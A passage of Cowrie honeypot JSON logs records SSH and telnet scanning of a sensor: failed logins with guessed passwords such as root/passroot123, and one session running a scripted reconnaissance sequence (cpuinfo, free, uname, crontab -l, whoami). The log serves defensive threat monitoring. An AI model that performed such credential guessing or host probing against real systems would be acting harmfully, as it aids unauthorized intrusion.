{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ae6f1d8fc0cdaa773a962fee5f81890c9b1ace8a5bb9f495c4a683a0118a8d01","size":25,"shasum":"ae6f1d8fc0cdaa773a962fee5f81890c9b1ace8a5bb9f495c4a683a0118a8d01","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ae6f1d8fc0cdaa773a962fee5f81890c9b1ace8a5bb9f495c4a683a0118a8d01 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:56.510306Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:56.543294Z","src_ip":"43.243.142.42","session":"b0bbbc743e5f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.004025Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.007869Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.212670Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.662727Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.666534Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:57.870557Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.314023Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.317860Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.321767Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.525970Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.970486Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:58.974070Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:59.177231Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:59.620131Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:59.624207Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:59.826700Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:00.297989Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:00.303015Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:00.509289Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:00.958840Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:00.962993Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:01.168391Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:01.627040Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:01.630035Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:01.836010Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:02.385243Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:02.389447Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:02.601224Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.093815Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.098006Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.304710Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.774828Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.778855Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:03.989598Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.443341Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.446743Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.651880Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":42010,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5112d0aae3","protocol":"ssh","message":"New connection: 216.155.93.75:42010 (10.17.0.5:22) [session: 2e5112d0aae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.669369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.676320Z","src_ip":"216.155.93.75","session":"2e5112d0aae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:04.823588Z","src_ip":"216.155.93.75","session":"2e5112d0aae3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:05.095314Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:05.098869Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:05.304767Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:05.311195Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:05.440803Z","src_ip":"216.155.93.75","session":"2e5112d0aae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:06.591223Z","src_ip":"216.155.93.75","session":"2e5112d0aae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.040043354034424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:19.755563Z","src_ip":"64.227.101.30","session":"51b8875b1cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":58264,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ca58d72ee0","protocol":"ssh","message":"New connection: 42.200.66.164:58264 (159.203.135.109:22) [session: 03ca58d72ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:24.575817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:24.584432Z","src_ip":"42.200.66.164","session":"03ca58d72ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:24.794223Z","src_ip":"42.200.66.164","session":"03ca58d72ee0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passroot123","message":"login attempt [root/passroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:25.644130Z","src_ip":"42.200.66.164","session":"03ca58d72ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:26.866796Z","src_ip":"42.200.66.164","session":"03ca58d72ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.97556161880493,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:28.030708Z","src_ip":"68.183.198.12","session":"5d8c3d6159c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.285314321517944,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:33.187759Z","src_ip":"64.227.101.30","session":"977a59e78629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0198db819a6","protocol":"telnet","message":"New connection: 64.227.101.30:33998 (10.17.0.5:23) [session: e0198db819a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:41.866284Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"34017abe4525","protocol":"telnet","message":"New connection: 64.227.101.30:36414 (10.17.0.5:23) [session: 34017abe4525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:48.043042Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":38196,"dst_ip":"159.203.135.109","dst_port":22,"session":"25639df77a9a","protocol":"ssh","message":"New connection: 43.243.142.42:38196 (159.203.135.109:22) [session: 25639df77a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:50.334683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:50.339120Z","src_ip":"43.243.142.42","session":"25639df77a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-